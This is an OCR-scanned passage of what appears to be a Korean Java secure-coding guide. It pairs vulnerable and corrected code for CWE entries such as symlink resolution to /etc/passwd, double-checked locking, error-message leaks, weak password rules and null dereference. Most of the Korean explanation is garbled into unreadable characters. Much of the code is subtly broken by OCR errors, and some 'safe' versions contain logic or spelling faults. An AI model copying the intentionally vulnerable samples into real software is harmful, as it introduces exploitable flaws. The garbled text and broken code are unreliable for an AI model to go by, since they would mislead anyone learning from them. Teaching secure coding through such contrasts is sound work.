12: if (command.equals(UPLOAD_DOCUMENT_COMMAND))

13: {

14:

15: Thread uploadThread = new UploadDataReciever(fileName);

16: uploadThread.start();

17: }

18:

19: }
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20:
21:
22:
23:
24:
25:
26:
27:
28:
29:
30:
31:
32:
33:
34:
35:
36:
37:
38:
39:
40:
41:
42:
43:
44:
45:
46:
47
48:
49:
50:
51:
52:
53:
54:
55:
56:
57:
58:
59:
60:
61:

class UploadDataReciever extends Thread

{

public void run()

{

// Create a new file upload handler
ServletFileUpload upload = new ServletFileUpload(factory);

// maximum file size to be uploaded.
upload.setSizeMax( maxFileSize );

try

{

// Parse the request to get file items.

List fileltems = upload.parseRequest(request);

// Process the uploaded file items

Iterator i = fileltems.iterator();

while ( ihasNext () )

{

Fileltem fi = (Fileltem)i.next();
if ( !fi.isFormField () )

{

// Write the file
if( fileName.lastIndexOf("\\") >= 0 )
{
file = new File( filePath +
fileName.substring( fileName.lastindexOf("\\"))) ;
}
else
{
file = new File( filePath +
fileName.substring(fileName.lastIndexOf("\ \ ")+1)) ;

}
fi.write( file ) ;

H5718t2 AEoA e FEe e 2ol 7188t Agsh=

sk,
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1:  public class Service extends HttpServlet

2: |

3: private final String COMMAND_PARAM = "command';

4:

5: // Command #¥ %2

6: private final String UPLOAD_DOCUMENT_COMMAND = "upload_document";

7:

8: protected void doPost(HttpServletRequest request, HttpServletResponse response) -
throws ServletException, IOException i

9: { 0?.'.

10: String command = request.getParameter(COMMAND_PARAM);

11:

12: if (command.equals(UPLOAD_DOCUMENT_COMMAND))

13: { >

14: // Create a new file upload handler g

15: ServletFileUpload upload = new ServletFileUpload(factory); kU

16: // maximum file size to be uploaded. oo

17: upload.setSizeMax( maxFileSize ); —Z—

18: I_n

19: try

20: {

21: // Parse the request to get file items.

22: List fileltems = upload.parseRequest(request);

23:

24: // Process the uploaded file items

25: Iterator i = fileltems.iterator();

26:

27: while ( ihasNext () )

28: {

29: Fileltem fi = (Fileltem)i.next();

30: if ( !fi.isFormField () )

31: {

32: // Write the file

33: if( fileName.lastindexOf("\\") >= 0 )

34: {

35: file = new File( filePath +

36: fileName.substring( fileName lastindexOf("\\""))) ;

37: }

38: else

39: {

40: file = new File( filePath +

41: fileName.substring(fileName.lastIndexOf("\ \ ")+1)) ;

42: }

43: fi.write( file ) ;
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44: }
45: }
46: }

47: }

48: }

49: }

% F3 £
[1] CWE-383 J2EE Bad Practices: Direct Use of Threads,
http:/ /cwe.mitre.org/ data/definitions/383.html

[2] Java 2 Platform Enterprise Edition Specification, v1.4, Sun Microsystems
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AEYHo] A3 el wiB=Eo] YA L=(Symbolic Name not
Mapping to Correct Object)

7k A9
AEYRe Agsle 54 Ue ARSE A9 BAAE Ayl e U
ZAste] Rl Ad =R AL 3 ¥+ ok

L g I971Y
» F= ARV 22T dols S AAE EFAA WP TEs o T

Sl

o} oA
javalang.Class.forName()-> 1<+ £AES 7HlS R sd FH=E
EAG o] "B o2 A AAEE St dAY TS wAEE FEEa I B
shA] Z&krh

Slolc BEElY

T e

2 public  void fromName() throws ClassNotFoundException,  InstantiationException,
Tllegal AccessException

3 {

4 // Class.forNamel2 2 F&|2~5 A3t Sk

5 Class ¢ = Class.forName("testbed.unsafe.U386.Add");

6: Object obj = (Add)c.newlnstance();

7 Add add = (Add) obj;

8 System.out.println(add.add(3, 5)); // 34

9

10: Object obj2 = (Add)Class.forName("testbed.unsafe.Add").newInstance();

11: Add add2 = (Add) obj2;

12: System.out.println(add2.add(3, 5)); // 8

13: }

14:

15: class Add

16: {

17: int add(int x, int y)

18: {

19: return x + y;

20: }

21: }

22: }

23:  class Add

24: |

25: int add(int x, int y) {  return (x*x + y*y); |}

26:  }
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javalang.Class.forName t%l, 7}

Sz BEAE A=

B AT Z=9] ¢ - JAVA

&3] AAE AR,

1T e

2: public  void fromName() throws ClassNotFoundException,  InstantiationException,

Illegal AccessException

3: {

4 [/ AAL] AL AR YRS BESH] AT

5: testbed.safe.S386.Add add = new testbed.safe.S386.Add();

6: System.out.printin(add.add(3, 5));

7: testbed.safe.Add add2 = new testbed.safe.Add();

8: System.out.printin(add2.add(3, 5));

9: }

10:

11: class Add

12: {

13: private int add(int x, int y)

14: {

15: return x +y;

16: }

17: }

18: }

19:  class Add

20: |

21: int add(int x, int y) { return (x*x + y*y); }

22: |}

029 oAl ZAEE A8y Y3 322 HANFES st ok g e ¢
A A4S ALYE SHAL 9of Bk 9L 2AHT + Aok

1:  //Symbolic link® IA%H fileS &

2: Irwxrwxrwx passwd 1 user Domain Users .... passwd -> /etc/passwd

3:

4:  FileReader reader("./passwd");

5: int ch = reader.read()

HYe 52 ol B4 WA JNZEH ABYS T % 4 AAE A7
accessdto] glo]Eol=% Ash= Zlo] sttt

W ¢d% 529 o - JAVA

1. //98 e o

2:  srw-r—r-- 1 user Domain Users ... /etc/passwd

3:
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4:  FileReader reader("/etc/passwd");
5: int ch = reader.read()

2 Fa 23
[1] CWE-386 Symbolic Name not Mapping to Correct Object,
http:/ /cwe.mitre.org/data/ definitions /386.html
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7. 8 ZAAFE F=(Double-Checked Locking)

7F A9
Z5 ZAE #Z(doublechecked locking)e ZZ#e] E&A4S =o|7] 8] AH&3h
AWt =3 2 F2skA] et

5718 g Folv] o3 ZEadve shie] AW ¥IP F U= =S
SR

AT, Al AR Fx F2E FYHL YIAT BEFHE

Al 271815 A 42 FElA AHSEE A9 24 & A

L QR "7y

F

n 54 Pa2vt (BYHAS 9T AYS FYHES T Wl A A
Ak Aol (M)TFHREA BFol Brbss,
o FE AR AEOl B $EF 23S 9T FS MASE F7)sks ok Ak
t}. oAl

o] A= 3] helper AR EE F R FT7F AAGHUTE o=
3 E7)5 2 Ao}tﬂ/ﬂ 2= APE BAske AAY Btk 2y Autel A= A

ESIEE, helper AAI7} dstA 27|35 HA] &2

1o e
2: Helper helper;

3:

4: public Helper MakeHelper()

5: {

6: // helper Z1A1] null A= teixe 5718t HA &
7: if (helper == null)

8: {

9: synchronized (this)

10: {

11: if (helper == null)

12: {

13: helper = new Helper();
14: }

15: }

16: }

17: return helper;

18: }

19:

20: class Helper

21: {
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Aol sl F718Hs k=

B 373 Z=9] 9 - JAVA
T
2: Helper helper;
3:
& /7 MEE AA o 571518 s 4EE
5: public synchronized Helper MakeHelper()
6: {
7: if (helper == null)
8: {
9: helper = new Helper();
10: }
11: return helper;
12: }
13: 1}
14:
15:  class Helper
16: |
17 e
18 }

the-o] dA oA instanceE V&0 Z A|TstT YA AA S AHYE kAR S BA

1:  class LogRecorder

2

3 static LogRecorder instance = null;
4:  private LogRecorder() {}

5. public LogRecord getlnstance()
6

7 if (instance == null)

8

9

{

synchronized(this)
10: {
11: if (instance == null)
12: {
13: instance = new LogRecorder();

M3ZE Azt
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14: }

15: }

16: }

17: }

18: }

5 AN ol digk ¢hEgk RS 48 A9, vlAE AAC da 57188 st
= dga

B AT I=9 ¢ - JAVA

class LogRecorder

{

static LogRecorder instance = null;

private LogRecorder() {}

{

if(instance == null)

{

1
2
3
4
5. public synchronized LogRecord getInstance()
6
7
8
9 instance = new LogRecorder();

10: }
11}

% F3 £
[1] CWE-609 Double-Checked Locking, http://cwe.mitre.org/data/definitions/609.html

[2] David Bacon et al.. "The "Double-Checked Locking is Broken" Declaration".
http:/ /www.cs.umd.edu/~pugh/java/memoryModel / DoubleCheckedLocking.html
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1. &7 HAIA] 53 HE =Z(Information exposure through an error message)
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o} oAl
o9 olgolu} 28 Edol~E s Zed Uy Arst fEaT
1:  public static void main(String[] args)
2
3 String urlString = args[0];
4wy
5: {
6 URL url = new URL(urlString);
7 URLConnection cmx =
8 url.openConnection();
9 cmx.connect();
10: }
11: catch (Exception e)
12: {
13: e.printStackTrace();
14: }
15}
9] o]Folu 28 Efolxd EYstA| &=t
B AT F=9] 4 - JAVA
1:  public static void main(String[] args)
2|
3 String urlString = args[0];
4wy
5: {
6 URL url = new URL(urlString);
7 URLConnection cmx = url.openConnection();
8 cmx.connect();
9 }
10: catch (Exception e)
11: {
12: System.out.printin("dZd <] TA");
13: }
14:  }
g fE3m 9
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BufferedReader in = new BufferedReader(new FileReader('config.cfg"));

configuratin.optionl = in.readLine();
configuratin.option2 = in.readLine();
configuratin.option3 = in.readLine();

10:

11: }

12: catch(Exception e)

13: { =

14: System.out.println(e.toString()); // config.cfg7} 1.2 "java.io.FileNotFoundException: N
configefg (NAE AL 2e 5 YFUTh'E 29T 0z

15: }

16: }

—
o917k BAFE LS TAL Az UGl EFHA % 1F HAERE EABT B
7P g e derh dAs ks AFEAE FAIERL 2] el s = A ﬁ
3 & F gl wEE Zlelth or
]
W tAP =9 o - JAVA n
1:  public vodi ReadConfiguration()
2|
5 by
4: {
5: BufferedReader in = new BufferedReader(new FileReader('config.cfg"));
6
7 configuratin.optionl = in.readLine();
8 configuratin.option2 = in.readLine();
9: configuratin.option3 = in.readLine();
10:
11: }
12: catch(Exception e)
13: {
14: System.out.printin("#4 23-& AAAFU});
15: }
16: }

oo dAle ole] HBA T2 g #HolAR A redirectr 7] 3 AT FA ol Al
HARE FEAIA 7] fEiAE R Aul2= Al Bole o dia] dA TR/l mE
2ol & AASIL BF 22 oy FHo|A s BoFE Zlo] kst
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B A3 m=9 o - JAVA

catch(NumberFormatException e)

{
RequestDispatcherdispatcher=request.getRequestDispatcher("data-error.jsp");

1

2

3

4: /7N AE T4

5 dispatcher.forward(request,response); //l2lF4 #Ho|A] gk
6

o U |
[1] CWE-209 Information Exposure Through an Error Message,
http:/ /cwe.mitre.org/ data/ definitions/209.html
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2. &F 743 U8 FAl|(Detection of Error Condition Without Action)

7

Sl

59 QAlE try EZoA TASE /S E&(catch)dt AT I SFol thEiA
ou gt =A% sta A Bk webs] 2ol Al AYET] wEe] T2 A o
| EAVE T EA M & 5 g doh

Slolc BEElY

1T e
2:  private Connection conn;

3

4:  public Connection DBConnect(String url, String id, String password)
5

6: try

7 {

8 String CONNECT_STRING = url  + "" + id + "" + password;
9 InitialContext ctx = new InitialContext();

10: DataSource datasource = (DataSource) ctx.lookup(CONNECT_STRING);
11: conn = datasource.getConnection();

12: }

13: catch (SQLException e)

14: {

15: // catch BFo] H|o|Q)l&

16: }

17: catch (NamingException e)

18: {

19: // catch E5o] H]o|3&

20: }

21: return conn;

22}

9% T3 (catch) 3, 22| 9] Abak(Exception)oll thske] AskAl A elsjok gk

B aAF 7=9] 9 - JAVA

2:  private Connection conn;

H4Z o2 M2 »» 231



Java A|7}0{3Y 7I0|E e

40:
41:
42:
43:
44:

public Connection DBConnect(String url, String id, ~ String password)

{

try
{
String CONNECT_STRING = url + "" + id + "" + password;
InitialContext ctx = new InitialContext();
DataSource datasource = (DataSource) ctx.lookup(CONNECT_STRING);
conn = datasource.getConnection();
}
catch (SQLException e)
{
// Exception catch©]¥ Exceptionol] tist 24 X2 & sfof g}
if ( conn != null )
{
try
{
conn.close();
}
catch (SQLException el)
{

conn = null;

}
catch (NamingException e)
it
// Exception catch©]¥ Exceptionol] tidt Hds & slof g}
if ( conn != null )
{
try
{
conn.close();
}
catch (SQLException el)
{
conn = null;
}
}
}

return conn;
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el Al HYRE HlHE golEel Z2ad €, ty LSolA ashs
°F7F za(catch)sz AT T R teA okt 2XE S YA @k Z2ay
Srol A AgsHE MY §HE0l THE FAH7] DR e WY F FAANA YuE

ABHA W o] AolEE FEE B9 B} A5 +

1:  public vodi ReadConfiguration()
2
3ty
4 { >
5: BufferedReader in = new BufferedReader(new FileReader('config.cfg")); ;
6 02
7 configuratin.optionl = in.readLine();
8 configuratin.option2 = in.readLine();
9: configuratin.option3 = in.readLine();
10: ﬁ
11: } 2
12: catch(Exception e) (l;JE'I
13: { ~
14: System.out. println(e.toString()); o
15: // Error A7} 9 Im
16: }
17: }
A9E Z&(catch)d+ F, 2H7+e] 9] Alg(Exception)dA Al BE ALES ZVIFHE
=85 Zlo] st
FAF Z=o o - JAVA
1:  public vodi ReadConfiguration()
2|
3 my
4 {
5: BufferedReader in = new BufferedReader(new FileReader('config.cfg"));
6
7 configuratin.optionl = in.readLine();
8 configuratin.option2 = in.readLine();
9: configuratin.option3 = in.readLine();
10:
11: }
12: catch(Exception e)
13: {
14: System.out. println(e.toString());
15: configuation.optionl = DEFAULT_OPTIONI;
16: configuation.option2 = DEFAULT_OPTION2;
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17: configuation.option3 = DEFAULT_OPTIONS3;
18: }

19: }

2 3 Ed
[1] CWE-390 Detection of Error Condition Without Action,
http:/ /cwe.mitre.org/data/definitions/390.html
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3. AHE3A &2 42 A ] (Improper Check for Unusual or Exceptional

Conditions)

7t A9
Z2ag 54 Fo g5 As gl U@ AW el m= eyl UiE =4
HPSA AAA B AS, A 4 BAE oPIF F AUtk

o

Y. QAN 23719
e uiEals BE S A e HAER, 1 ghol Z1ti@ #hlAl HAREaL, o))
HE) g Ag3HE Ao FHG o oHe] thal FAHQ o Hel s Frk
1= B

gFeo] QIALRZ fileNameol tigH Null #l=glo] File A4S AR o, e
o 9] ZF#2=2l Exceptions Al8-3t] dejxelE ot

public void readFromFile(String fileName)
{

try
{

1
2
3
4
5:
6 File myFile = new File(fileName);
7 FileReader fr = new FileReader(myFile);
8

9

}
10: catch (Exception ex) {...}

11:  }

fileName©] Null Zt1A AAFSHAL Null o] o2 HAIXS E 3 oS WYA 7t
TG WA Jse BE d9el g FAIF A LA E Sk

B A3 329 9 - JAVA
1:  public void readFromFile(String  fileName)  throws  FileNotFoundException,
IOException,MyException

{

try
{

// filenameol] )¢ NULL & ZA}

if ( fileName == NULL ) throw new MyException("°ll2]);
File myFile = new File(fileName);

FileReader fr = new FileReader(myFile);

—
=4
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1 /] @5 SR04 e shsat delel telA Az

12: }

13: catch (FileNotFoundException fe) {...}

14: catch (IOException ie) {..}

15}

=0 dAldMe Hd2RE HolHE glojA ™I AFRlel Atz Z=IaglA

Agstgom, o YA B8 A g s ekglth

1:  public vodi ReadConfiguration()

2

3 by

4 {

5: BufferedReader in = new BufferedReader(new FileReader("config.cfg"));

6

7 configuratin.optionl = in.readLine();

8 configuratin.option2 = in.readLine();

9: configuratin.option3 = in.readLine();

10:

11: }

12: catch(Exception e)

13: {

14: System.out. printIn(e.toString());

15: // Error A217} $la

16: }

17: '}

7 da §HEC] Null A WA AR 5 Null & 25l sfoF &
AAVIE TEE & 24 4B T4 FeART 2 04 e

B aAHF F=9 o - JAVA

2E 01]9401] EHTSL

public vodi ReadConfiguration()
{

try
{

BufferedReader in = new BufferedReader(new FileReader("config.cfg"));

configuratin.optionl = in.readLine();
if (configuratin.optionl == NULL)
{
configuation.optionl = DEFAULT_OPTIONTI;
}
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12: configuratin.option2 = in.readLine();

13: if(configuratin.option2 == NULL)

14: {

15: configuation.option2 = DEFAULT_OPTION2;

16: }

17: configuratin.option3 = in.readLine();

18: if (configuratin.option3 == NULL)

19: {

20: configuation.option3 = DEFAULT_OPTION3;

21: } =

22, N

23: } (2

24: catch(Exception e)

25: {

26: System.out. printIn(e.toString()); -

27: configuation.optionl = DEFAULT_OPTIONI; Hu

28: configuation.option2 = DEFAULT_OPTION2; =2

29: configuation.option3 = DEFAULT_OPTION3; (|)-JE_|

30: } N

31} §
In

gl dAlelAE ASAET HAYEE QRO wob 1 A UF FF gl
SQLES] T2 AESITh A gte] Null ol2hd DBl ©2Hso] walshA o,

public class Service extends HttpServlet

{
private final String COMMAND_PARAM = "command";

private final String LOGIN_CMD = "login";

1:

2:

3:

4:

5: // Command ¥ %2
6:

7:

8: private final String USER _ID_PARM = "user_id";

9: private final String PASSWORD_PARM = "password";

10:

11: protected void doPost(HttpServletRequest request, HttpServletResponse response) throws

ServletException, IOException

12: {

13: String command = request.getParameter("command");

14:

15: if (command.equals(LOGIN_CMD))

16: {

17: String userld = request.getParameter(USER_ID_PARM);

18: String password = request.getParameter(PASSWORD_PARM);
19:
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20:
21:

22:
23:
24:
25:
26:
27:
28:
29:

Statement stmt = con.createStatement();

String query = "SELECT * FROM members WHERE username= "' + make-
SecureString(userld, MAX_USER_ID_LENGTH) + " AND password = " + make-
SecureString(password, MAX_PASSWORD_LENGTH) + "";

stmt.executeUpdate(query);

DB HolElE Buj7] dol Null #1Xe] 2g v A=Z3Ach

B 333 759 o - JAVA

=
I

13:
14:
15:
16:
17:
18:
19:
20:
21:
22:

24:
25:

26:

public class Service extends HttpServlet

{
private final String COMMAND_PARAM = "command";

// Command ## <]
private final String LOGIN_CMD = "login";

private final String USER_ID_PARM = "user_id";
private final String PASSWORD_PARM = "password";

protected void doPost(HttpServletRequest request, HttpServletResponse response) throws
ServletException, IOException

{

String command = request.getParameter("command");

if (command.equals(LOGIN_CMD))

{
String userld = request.getParameter(USER_ID_PARM);
String password = request.getParameter(PASSWORD_PARM);

if((userld != NULL) && (password != NULL))
{

Statement stmt = con.createStatement();

String query = "SELECT * FROM members WHERE username= "' + make-
SecureString(userld, MAX_USER_ID_LENGTH) + " AND password = " + make-
SecureString(password, MAX_PASSWORD_LENGTH) + "";
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27: stmt.executeUpdate(query);
28:

29: }

30: }

31:

32: }

33:

34: |}

% F3 23
[1] CWE-754 Improper Check for Unusual or Exceptional Conditions,
http:/ /cwe.mitre.org/ data/definitions/754.html
[2] CWE-252 Unchecked Return Value, http://cwe.mitre.org/data/definitions/252.html
[3] CWE-253 Incorrect Check of Function Return Value,
http:/ /cwe.mitre.org/data/definitions/253.html
[4] CWE-273 Improper Check for Dropped Privileges,
http:/ /cwe.mitre.org/ data/ definitions/273.html

Sl

[5] CWE-296 Improper Following of Chain of Trust for Certificate Validation,
http:/ /cwe.mitre.org/data/definitions/296.html

Slolc BEElY

[6] CWE-297 Improper Validation of Host-specific Certificate Data,
http:/ /cwe.mitre.org/data/definitions/297.html

[7] CWE-298 Improper Validation of Certificate Expiration,
http:/ /cwe.mitre.org/data/definitions/298.html

[8] CWE-299 Improper Check for Certificate Revocation,
http:/ /cwe.mitre.org/data/definitions/299.html

[9] M. Howard, D. LeBlanc, Writing Secure Code, Second Edition, Microsoft Press
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4. FFg 2= 9 FZ7(Weak Password Requirements)

7}

cC

o=

Tl elAlsh 2ol ATt dPE AAASe] B BE AF glol Y %9 A

=y

2:

10:
11:
12:

FYsHA HH ARAF A B3skr] PEA dok

public void doPost(HttpServletRequest request, HittpServletResponse response) throws
IOException, ServletException

{

try
{
String id = request.getParameter("id");
String passwd = request.getParameter("passwd");
/) N=AE BHE AF glol 71+ Ael
}
catch (SQLException €) { " }

}

A8 ARE BER] Ash K A HAYE BRE AF F Y SAHAE 5

B 3733 7=9] o - JAVA

private static final String CONNECT_STRING = "jdbc:ocl:orcl";

public void doPost(HttpServletRequest request, HttpServletResponse response) throws
IOException, ServletException
{
try
{
String id = request.getParameter("id");

String passwd = request.getParameter("passwd");

// passwdel gt B3= A5
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12:
13:

14:
15:
16:
17:
18:
19:
20:

if (passwd == null || "".equals(passwd)) return;

if (!passwd.matches("") && passwd.indexOf("@!#") > 4 &&
passwd.length() > 8)

{

// passwd EFE HAF

#
L
174
ofy
re
™

}
catch (SQLException e) { !

—_

catch (NamingException e) {

}

thee] oA HAYE B BT AF glo] WAAE WAL F Ay ek

1:
2:
3:
4:
5:
6:
7:
8:
9:

10:
11:
12:

13:
14:
15:
16:
17:
18:
19:
20:
21:
22:
23:
24:
25:
26:
27
28:
29:
30:

public class Service extends HttpServlet

{
private final String COMMAND_PARAM = "command";

// Command ## <]
private final String CHANGE_PASSWORD_CMD = "change_password";

private final String USER_ID_PARM = "user_id";
private final String PASSWORD_PARM = "password";
private final String NEW_PASSWORD_PARM = "new_password";

protected void doPost(HttpServletRequest request, HttpServletResponse response) throws
ServletException, IOException

{

String command = request.getParameter("command");

if (command.equals(CHANGE_PASSWORD_CMD))
{
String userld = request.getParameter(USER_ID_PARM);
String password = request.getParameter(PASSWORD_PARM);
String newPassword = request.getParameter(NEW_PASSWORD_PARM);

if(findPassword(userld).equals(password))
{

ChangeUserPassword(userld, newPassword);

}

HM4Z o2f Xz
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050 dAldA s vedt &2 A9 EREE F85] das WA SdE AR
o.
1) 9= Aol 015722 4
(MIN_PASSWORD_LENGTH MAX_PASSWORD_LENGTH %t W7o 2 %4 7}5)
2) EFEATL Holx 1) o)y maHo] Qe (AT WHeE 24 24 7b5)
3) AHEAEE A =9 substring S 2 ZEA] e 2L
4) WhE o) dol ALGHH TA ThagTe} e Hast ofd B,
(AN S H=HUEE BFE FAA7]eW DBol AAHES BT AGHF
Uo] z3jsnt TS Fbwh
B aHg 7=9 4 - JAVA
1:  public class Service extends HttpServlet
2. |
3: private final String COMMAND_PARAM = "command";
4:
5: // Command #& <]
6: private final String CHANGE_PASSWORD_CMD = "change_password";
7:
8: private final String USER_ID_PARM = "user_id";
9: private final String PASSWORD_PARM = "password";
10: private final String NEW_PASSWORD_PARM = "new_password";
11:
12: private final static String ACCEPTABLE_PASSWORD_PATTERN =
13 "([p{Alnuml] | [p{Punct}})*[p{Punct]]([p{Alnum]] | [p{Punct]])*";
14:
15: protected void doPost(HttpServletRequest request, HttpServletResponse response) throws
ServletException, IOException
16: {
17: String command = request.getParameter("command");
18:
19: if (command.equals(CHANGE_PASSWORD_CMD))
20: {
21: String userld = request.getParameter(USER_ID_PARM);
22: String password = request.getParameter(PASSWORD_PARM);
23: String newPassword = request.getParameter(NEW_PASSWORD_PARM);
24:
25: if(findPassword(userld).equals(password))
26: {
27: if(isPasswordStrong(pasword, userId))
28: {
29: ChangeUserPassword(userld, newPassword);
30: }
31: }
32: }
33:
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34: }
35:
36: private bool isPasswordStrong(String password, String userld)
37: {
38: int MIN_PASSWORD_LENGTH = 9;
39: int MAX_PASSWORD_LENGTH = 15;
40: if((password.length() < MIN_PASSWORD_LENGTH) && (password.length() >
MAX_PASSWORD_LENGTH))

41: {
42: return false; =
43: } N
44 if (pasword.matches(ACCEPTABLE_PASSWORD_PATTERN) == false) (2
45: {
46: return false;
47: } >
48: if (password.contains(userld) === true) Hu
49: { 2
50: return false; (l)-JEJ
51: } N
52: if (isLastUsedPassword(password, userld) == true) §
53: { In
54: return false;
55: }
56: return true;
57: }
58: '}
ol Al s GES WD Itk A8 ofoltis hER Row GEE WE

YES shol, QHASA ke FBE ASA YEE WE F Aok

public class Service extends HttpServlet
{

private final String COMMAND_PARAM = "command";

private final String CHANGE_PASSWORD_CMD = "change_password";

private final String USER_ID_PARM = "user_id";
private final String PASSWORD_PARM= "password";
10: private final String NEW_PASSWORD_PARM = "new_password";

1:
2:
3:
4:
5: // Command #& “g<]
6:
7
8:
9:

12: protected void doPost(HttpServletRequest request, HttpServletResponse response) throws
ServletException, IOException
13: {
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14: String command = request.getParameter(COMMAND_PARAM);

15:

16: if (command.equals(CHANGE_PASSWORD_CMD))

17: {

18: String userld = request.getParameter(USER_ID_PARM);

19: String password = request.getParameter(PASSWORD_PARM);

20: String newPassword = request.getParameter(NEW_PASSWORD_PARM);

21:

22: if(findPassword(userId).equals(password))

23: {

24: ChangeUserPassword(userld, newPassword);

25: }

26: }

27: }

28: }

Bl AL GBS HEY] Aol PEIh AW FBUME WS GBI}
AshAl dom s WASA =S Sk o] dAldAs IR ARSEE kA
3l o}z 2 FHEE QAS = R 1:]- o} 7ro] Mgt
L g5l Aul/AL Lol(35 WA 7bs)

2 S, S, S5 BA EHETFH WA bs)

3. AH&AL 0] 5] EFH(substring©. = A )

4. HT ASENG dEel dA(HASH] o3 o] |2 =9t Blal Databaseol] ©]#H S A
3 g

1:  public class Service extends HittpServlet

2. |

3 private final String COMMAND_PARAM = "command";

4:

5: // Command ## “g2]

6: private final String CHANGE_PASSWORD_CMD = "change_password";
7

8: private final String USER_ID_PARM = "user_id";

9: private final String PASSWORD_PARM = "password";

10: private final String NEW_PASSWORD_PARM = "new_password";

12: protected void doPost(HttpServletRequest request, HttpServletResponse response) throws

ServletException, IOException

13: {

14: String command = request.getParameter(COMMAND_PARAM);
15:

16: if (command.equals(CHANGE_PASSWORD_CMD))

17: {
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40:
41:
42:
43:
44:
45:
46:
47:
48:
49:
50:
51:
52:
53:
54:
55:
56:
57:
58:
59:
60:
61:

String userld = request.getParameter(USER_ID_PARM);
String password = request.getParameter(PASSWORD_PARM);
String newPassword = request.getParameter(NEW_PASSWORD_PARM);

if(findPassword(userld).equals(password))
{

if(isNewPasswordValid(newPassword, userld, password))

{

ChangeUserPassword(userld, newPassword);

private final int MIN_PASSWORD_LENGTH = §;
private final int MAX PASSWORD_LENGTH = 16;

private boolean isNewPasswordValid(String password, String userld, String oldPassword)

{

// Minimum and maximum length;

if(  (passwordlength() < MIN_PASSWORD_LENGTH) || (passwordlength() >

MAX_PASSWORD_LENGTH))
{
return false;
1
// Require mixed character sets (alpha, numeric, special, mixed case);
if (Pattern.matches(".*[\p{Lower}]+.*", password) == false)

{

return false;
}
if (Pattern.matches(".*[\p{Upper}]+.*", password) == false)
{
return false;
}
if (Pattern.matches(".*[\p{Digit}]+.*", password) == false)
{
return false;
}
if (Pattern.matches(".*[\p{Punct}]+.*", password) == false)
{
return false;
}
// Do not contain user name;
if (password.lastIndexOf (userld) >= 0)
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62: {

63: return false;

64: }

65: // No password reuse.
66: if (password.equals(oldPassword))
67: {

68: return false;

69: }

70: return true;

71: }

72:

73: )

2 F1 3
[1] CWE-521 Weak Password Requirements, http://cwe mitre.org/data/definitions/521.html
[2] 2010 OWASP Top 10 - A3 Broken Authentication and Session Management
https:/ /www.owasp.org/index.php/Top_10_2010-A3
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Ay SRR TRIPES 1A, AAY, A, FARSH, B84, o4 5 FH5]
Astel QR el DEFAS AAStelol Bk ZEIY ISh UT B BelA,
EOR =

FARFA, 7hE4ge] Hold B oyt & Ax"e] o]4svE Pev, =
ok =

ol $7A AL HsAol Ak
1. G(Null) 21 e ¥gFZ(NULL Pointer Dereference)

7k A9
Null ZIE ) °
WAE o B, TAE Ol
Kol

e el9) AGE FFe 34

nf'
r1r
S
&3
2

2 I AA7F Null o] €
o7 Null ¥918 93=x

F grveha s 9e 9
2 2
AR A Aed S+ Ak

Agske A%, 1 A% B

= Null o] 2 & & ¥ " 2 (reference)= F2317] Aol Null A E AAbste] kA

ol ALgslok A,

o dAlE amd ZEZHEL & AoHo] vkl sHgEta AN, sk FAATL
29 3HE Aols] cmd ﬁiﬂmﬂ AolHA & s, emde Nullo] o]
trim() MAEE 55 o] Null 298 o7} dAysHA Ao

1o e
2: public void checknull()

3

4: String emd = System.getProperty('cmd");
5 // emd7}F '@ QUIA] A A8EA] ke

6 cmd = cmd.trim();

7: System.out. println(cmd);

g e

DA emd7F Null QA HARE ol ARSI

O A% Z=9] 9 - JAVA

1T e
2: public void checknull()

3

4: String ecmd = System.getProperty("cmd");
5 // cmd7} nullR1A] A Fstefof gt

6 if (cmd != null)

7 {

H5% = 2F »» 247
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8: cmd = emd.trim();

9: System.out.println(cmd);

10: }

11: else System.out.println("null command");

19: e

O] dAle oRERY Y ARSAE, o, F71Rl thd Null A2E &4
o aTlE Agstel oA AP WEsT At

1:
2:
3:
4:
5:
6:
7:
8:
9:

10:

11:
12:
13:
14:
15:
16:
17:
18:
19:
20:
21:
22:
23:
24:
25:
26:
27:
28:
29:
30:
31:

public class Service extends HttpServlet

{
private final String COMMAND_PARAM = "command";

// Command #¥H <]

private final String LOGIN_CMD = "login";

private final String USER ID_PARM = "user_id";
private final String PASSWORD_PARM = "password';

protected void doPost(HttpServletRequest request, HttpServletResponse response) throws
ServletException, IOException

{
String command = request.getParameter(COMMAND_PARAM);

if (command.equals(LOGIN_CMD))

{
String userld = request.getParameter(USER_ID_PARM);
String password = request.getParameter(PASSWORD_PARM);

String lastPage;
String Last PAGE_COOKIE_NAME = "LastPage";
Cookie [] cookies = request.getCookies();
for(int cookieldx = 0; cookieldx < cookies.length; cookieldx++)
{

if(cookies[cookieldx].getName().equals("LastPage"))

{

lastPage = cookies[cookieldx].getValue();
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O dAF Z=9] 9 - JAVA

1:  public class Service extends HttpServlet
2: |
3: private final String COMMAND_PARAM = "command";
4:
5: // Command #& %]
6: private final String LOGIN_CMD = "login";
7: private final String USER_ID_PARM = "user_id"; >
8: private final String PASSWORD_PARM = "password"; ;
9: 0_)'|_
10: protected void doPost(HttpServletRequest request, HttpServletResponse response) throws
ServletException, IOException
11: {
12: String command = request.getParameter(COMMAND_PARAM); =
13: g
14: if (command.equals(LOGIN_CMD)) kU
15: { ol
16: String userld = request.getParameter(USER_ID_PARM); —Z'
17: if(userld == null){ return; } In
18: String password = request.getParameter(PASSWORD_PARM);
19: if(password == null){ return; }
20:
21: String lastPage = null;
22: String Last PAGE_COOKIE_NAME = "LastPage";
23: Cookie [] cookies = request.getCookies();
24: if(cookies != null)
25: {
26: for(int cookieldx = 0; cookieldx < cookies.length; cookieldx++)
27: {
28: if(cookies[cookieldx].getName().equals("LastPage"))
29: {
30: lastPage = cookies[cookieldx].getValue();
31: }
32: }
33: }
34: }
35: }
36: |}

o U |
[1] CWE-476 NULL Pointer Dereference, http://cwe.mitre.org/data/definitions/476.html
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2. &A% AY A (Improper Resource Shutdown or Release)

e frake Aflolth oleld AU el B F, & o))

g

memory), 47 (socket)
ARESEA] s ol AAs] wheisteiof skl ZRIF oF Ee o E ARl F

zgade] 2, oE €9 dY FY 7]EA(open file descriptor), ¥ HIEE (heap
T
-
53 AYE wEEA] & e A golth

<39 219> FA43 29 A

s LS 55t ARES ool finally E50lA WEAl A4S sA|ste of St

o} <A
thgel alAlE deoleuolzel AR Fol Ag F o9t WASH FE HolEu
olx AW 5 JDBC Alo] wHEHE A Stk o]sh e Fgo] uEE A9 AswelA
Ag APsd Aol 248 4 Tk

1
2y
3

4: Class.forName("com.mysql.jdbc.Driver");

5 conn = DriverManager.getConnection(url);
6 conn.close();

7

8

}
catch (ClassNotFoundException e) {
